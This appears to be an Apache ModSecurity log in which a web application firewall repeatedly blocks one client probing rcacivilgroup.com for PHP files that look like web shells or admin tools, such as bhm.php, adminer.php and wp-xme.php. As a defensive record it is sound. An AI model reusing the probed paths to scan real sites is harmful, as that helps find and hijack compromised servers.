[Thu May 07 06:22:19.135751 2026] [:error] [pid 29607:tid 29669] [client 172.202.74.222:30047] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bhm.php"] [unique_id "afu_G6bP7TJOAh7WSUN1HAAAAIE"]
[Thu May 07 06:22:19.553212 2026] [:error] [pid 29606:tid 29648] [client 172.202.74.222:30035] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bhm.php"] [unique_id "afu_GxR5HjZ1PlSAiKttVgAAAEc"]
[Thu May 07 06:22:19.968310 2026] [:error] [pid 29710:tid 29729] [client 172.202.74.222:30101] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bhm.php"] [unique_id "afu_G_0atTQld9Y2ht_upAAAANE"]
[Thu May 07 06:22:20.350375 2026] [:error] [pid 29605:tid 29616] [client 172.202.74.222:30060] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bhm.php"] [unique_id "afu_HInxrTjETioEY0TqrwAAAAI"]
[Thu May 07 06:22:20.739852 2026] [:error] [pid 29607:tid 29678] [client 172.202.74.222:30053] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmu.php"] [unique_id "afu_HKbP7TJOAh7WSUN1JgAAAIo"]
[Thu May 07 06:22:21.112510 2026] [:error] [pid 29607:tid 29691] [client 172.202.74.222:30044] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmu.php"] [unique_id "afu_HabP7TJOAh7WSUN1KgAAAJc"]
[Thu May 07 06:22:21.546031 2026] [:error] [pid 29710:tid 29726] [client 172.202.74.222:30139] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmu.php"] [unique_id "afu_Hf0atTQld9Y2ht_uqQAAAM4"]
[Thu May 07 06:22:21.951493 2026] [:error] [pid 29605:tid 29614] [client 172.202.74.222:29974] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmu.php"] [unique_id "afu_HYnxrTjETioEY0TqsQAAAAA"]
[Thu May 07 06:22:22.448967 2026] [:error] [pid 29710:tid 29731] [client 172.202.74.222:29893] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goat.php"] [unique_id "afu_Hv0atTQld9Y2ht_urAAAANM"]
[Thu May 07 06:22:22.846328 2026] [:error] [pid 29710:tid 29721] [client 172.202.74.222:30037] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goat.php"] [unique_id "afu_Hv0atTQld9Y2ht_usQAAAMk"]
[Thu May 07 06:22:23.228975 2026] [:error] [pid 4539:tid 4542] [client 172.202.74.222:30027] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goat.php"] [unique_id "afu_H4PEZE1565sDGnw8nQAAAQE"]
[Thu May 07 06:22:23.638635 2026] [:error] [pid 29710:tid 29725] [client 172.202.74.222:30123] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goat.php"] [unique_id "afu_H_0atTQld9Y2ht_utAAAAM0"]
[Thu May 07 06:22:24.097634 2026] [:error] [pid 4539:tid 4565] [client 172.202.74.222:30045] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xme.php"] [unique_id "afu_IIPEZE1565sDGnw8ogAAARg"]
[Thu May 07 06:22:24.591846 2026] [:error] [pid 29607:tid 29684] [client 172.202.74.222:30076] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xme.php"] [unique_id "afu_IKbP7TJOAh7WSUN1MAAAAJA"]
[Thu May 07 06:22:25.065367 2026] [:error] [pid 29607:tid 29686] [client 172.202.74.222:29889] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xme.php"] [unique_id "afu_IabP7TJOAh7WSUN1MwAAAJI"]
[Thu May 07 06:22:25.471305 2026] [:error] [pid 29607:tid 29682] [client 172.202.74.222:30152] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xme.php"] [unique_id "afu_IabP7TJOAh7WSUN1NgAAAI4"]
[Thu May 07 06:22:25.887037 2026] [:error] [pid 29607:tid 29671] [client 172.202.74.222:30030] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminer.php"] [unique_id "afu_IabP7TJOAh7WSUN1OAAAAIM"]
[Thu May 07 06:22:26.286665 2026] [:error] [pid 29605:tid 29620] [client 172.202.74.222:30122] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminer.php"] [unique_id "afu_IonxrTjETioEY0TqswAAAAY"]
[Thu May 07 06:22:26.798954 2026] [:error] [pid 4539:tid 4551] [client 172.202.74.222:30129] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminer.php"] [unique_id "afu_IoPEZE1565sDGnw8qAAAAQo"]
[Thu May 07 06:22:27.209027 2026] [:error] [pid 4539:tid 4549] [client 172.202.74.222:30131] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminer.php"] [unique_id "afu_I4PEZE1565sDGnw8qQAAAQg"]
[Thu May 07 06:22:27.594686 2026] [:error] [pid 29606:tid 29644] [client 172.202.74.222:30138] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ktfow.php"] [unique_id "afu_IxR5HjZ1PlSAiKttYgAAAEM"]
[Thu May 07 06:22:27.992144 2026] [:error] [pid 29605:tid 29619] [client 172.202.74.222:30063] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ktfow.php"] [unique_id "afu_I4nxrTjETioEY0TqtgAAAAU"]
[Thu May 07 06:22:28.438766 2026] [:error] [pid 4539:tid 4544] [client 172.202.74.222:29969] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ktfow.php"] [unique_id "afu_JIPEZE1565sDGnw8sAAAAQM"]
[Thu May 07 06:22:28.874063 2026] [:error] [pid 4539:tid 4554] [client 172.202.74.222:30020] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ktfow.php"] [unique_id "afu_JIPEZE1565sDGnw8tQAAAQ0"]
[Thu May 07 06:22:29.278437 2026] [:error] [pid 4539:tid 4558] [client 172.202.74.222:30008] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mode.php"] [unique_id "afu_JYPEZE1565sDGnw8vAAAARE"]
[Thu May 07 06:22:29.700752 2026] [:error] [pid 4539:tid 4552] [client 172.202.74.222:29904] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mode.php"] [unique_id "afu_JYPEZE1565sDGnw8wgAAAQs"]
[Thu May 07 06:22:30.159825 2026] [:error] [pid 4539:tid 4547] [client 172.202.74.222:30184] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mode.php"] [unique_id "afu_JoPEZE1565sDGnw8yAAAAQY"]
[Thu May 07 06:22:30.588052 2026] [:error] [pid 29710:tid 29734] [client 172.202.74.222:29829] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mode.php"] [unique_id "afu_Jv0atTQld9Y2ht_uwQAAANY"]
[Thu May 07 06:22:31.030920 2026] [:error] [pid 4539:tid 4562] [client 172.202.74.222:29986] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2468.php"] [unique_id "afu_J4PEZE1565sDGnw8zQAAARU"]
[Thu May 07 06:22:31.465372 2026] [:error] [pid 29710:tid 29716] [client 172.202.74.222:30029] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2468.php"] [unique_id "afu_J_0atTQld9Y2ht_uwgAAAMQ"]
[Thu May 07 06:22:31.864504 2026] [:error] [pid 29607:tid 29683] [client 172.202.74.222:30049] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2468.php"] [unique_id "afu_J6bP7TJOAh7WSUN1QQAAAI8"]
[Thu May 07 06:22:32.253911 2026] [:error] [pid 29607:tid 29673] [client 172.202.74.222:30066] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2468.php"] [unique_id "afu_KKbP7TJOAh7WSUN1RQAAAIU"]
[Thu May 07 06:22:32.660075 2026] [:error] [pid 29710:tid 29733] [client 172.202.74.222:29959] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/index.php"] [unique_id "afu_KP0atTQld9Y2ht_uwwAAANU"]
[Thu May 07 06:22:33.080522 2026] [:error] [pid 29710:tid 29729] [client 172.202.74.222:29994] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/index.php"] [unique_id "afu_Kf0atTQld9Y2ht_uxgAAANE"]
[Thu May 07 06:22:33.496898 2026] [:error] [pid 29710:tid 29714] [client 172.202.74.222:30073] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/index.php"] [unique_id "afu_Kf0atTQld9Y2ht_uyAAAAMI"]
[Thu May 07 06:22:33.876976 2026] [:error] [pid 29710:tid 29721] [client 172.202.74.222:30057] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/index.php"] [unique_id "afu_Kf0atTQld9Y2ht_uygAAAMk"]
[Thu May 07 06:22:34.304230 2026] [:error] [pid 29710:tid 29734] [client 172.202.74.222:30141] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "afu_Kv0atTQld9Y2ht_uzAAAANY"]
[Thu May 07 06:22:34.679324 2026] [:error] [pid 29710:tid 29726] [client 172.202.74.222:30042] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "afu_Kv0atTQld9Y2ht_uzgAAAM4"]
[Thu May 07 06:22:35.054954 2026] [:error] [pid 4539:tid 4561] [client 172.202.74.222:29966] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "afu_K4PEZE1565sDGnw83wAAARQ"]
[Thu May 07 06:22:35.485492 2026] [:error] [pid 29605:tid 29616] [client 172.202.74.222:30164] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "afu_K4nxrTjETioEY0TqvQAAAAI"]
[Thu May 07 06:22:35.945748 2026] [:error] [pid 29710:tid 29712] [client 172.202.74.222:30071] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amdin.php"] [unique_id "afu_K_0atTQld9Y2ht_u1AAAAMA"]
[Thu May 07 06:22:36.364964 2026] [:error] [pid 4539:tid 4547] [client 172.202.74.222:30179] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amdin.php"] [unique_id "afu_LIPEZE1565sDGnw86AAAAQY"]
[Thu May 07 06:22:36.761200 2026] [:error] [pid 29607:tid 29689] [client 172.202.74.222:30143] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amdin.php"] [unique_id "afu_LKbP7TJOAh7WSUN1TAAAAJU"]
[Thu May 07 06:22:37.190689 2026] [:error] [pid 4539:tid 4542] [client 172.202.74.222:29950] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amdin.php"] [unique_id "afu_LYPEZE1565sDGnw9AAAAAQE"]
[Thu May 07 06:22:37.590107 2026] [:error] [pid 29605:tid 29617] [client 172.202.74.222:29988] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/huya.php"] [unique_id "afu_LYnxrTjETioEY0TqvwAAAAM"]
[Thu May 07 06:22:37.977775 2026] [:error] [pid 4539:tid 4549] [client 172.202.74.222:30001] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/huya.php"] [unique_id "afu_LYPEZE1565sDGnw9CwAAAQg"]
[Thu May 07 06:22:38.366041 2026] [:error] [pid 29607:tid 29688] [client 172.202.74.222:29982] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/huya.php"] [unique_id "afu_LqbP7TJOAh7WSUN1TwAAAJQ"]
[Thu May 07 06:22:38.752185 2026] [:error] [pid 29606:tid 29648] [client 172.202.74.222:29981] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/huya.php"] [unique_id "afu_LhR5HjZ1PlSAiKttgAAAAEc"]
[Thu May 07 06:22:39.135859 2026] [:error] [pid 29605:tid 29618] [client 172.202.74.222:30148] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/puc.php"] [unique_id "afu_L4nxrTjETioEY0TqwAAAAAQ"]
[Thu May 07 06:22:39.547152 2026] [:error] [pid 29605:tid 29619] [client 172.202.74.222:30068] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/puc.php"] [unique_id "afu_L4nxrTjETioEY0TqwgAAAAU"]
[Thu May 07 06:22:39.977608 2026] [:error] [pid 29605:tid 29627] [client 172.202.74.222:29952] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/puc.php"] [unique_id "afu_L4nxrTjETioEY0TqxQAAAA0"]
[Thu May 07 06:22:40.419271 2026] [:error] [pid 29605:tid 29637] [client 172.202.74.222:29962] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/puc.php"] [unique_id "afu_MInxrTjETioEY0TqywAAABc"]
[Thu May 07 06:22:40.827183 2026] [:error] [pid 29607:tid 29676] [client 172.202.74.222:30003] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "afu_MKbP7TJOAh7WSUN1UwAAAIg"]
[Thu May 07 06:22:41.292486 2026] [:error] [pid 29606:tid 29657] [client 172.202.74.222:29958] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "afu_MRR5HjZ1PlSAiKttggAAAFA"]
[Thu May 07 06:22:41.726338 2026] [:error] [pid 4539:tid 4542] [client 172.202.74.222:29991] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "afu_MYPEZE1565sDGnw9GwAAAQE"]
[Thu May 07 06:22:42.207862 2026] [:error] [pid 29710:tid 29732] [client 172.202.74.222:30079] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "afu_Mv0atTQld9Y2ht_u7wAAANQ"]
[Thu May 07 06:22:42.794979 2026] [:error] [pid 29710:tid 29728] [client 172.202.74.222:29995] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ewp.php"] [unique_id "afu_Mv0atTQld9Y2ht_u8AAAANA"]
